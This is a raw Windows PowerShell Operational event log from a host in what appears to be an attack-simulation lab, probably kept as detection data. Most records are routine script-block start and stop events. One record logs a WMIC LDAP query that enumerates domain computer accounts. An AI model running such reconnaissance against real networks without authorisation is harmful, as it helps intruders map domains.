TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989200 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989199 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989218 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989217 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989216 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989215 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989214 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989213 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989212 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989211 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989210 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989209 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989228 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989227 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989226 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989225 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989224 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989223 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989222 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989221 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989220 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989219 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989244 Keywords=None Message=Started invocation of ScriptBlock ID: 059e5c32-fa87-4d01-82cf-f5e71683a449 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989243 Keywords=None Message=Creating Scriptblock text (1 of 1): wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname ScriptBlock ID: 059e5c32-fa87-4d01-82cf-f5e71683a449 Path: 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989242 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989241 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989240 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989239 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989238 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989237 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989236 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989235 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989234 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989233 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989232 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989231 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989230 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989229 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989263 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989262 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989261 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989260 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989259 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989258 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989257 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989256 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989255 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989254 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989253 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989252 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989251 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989250 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989249 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989248 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989247 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989246 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 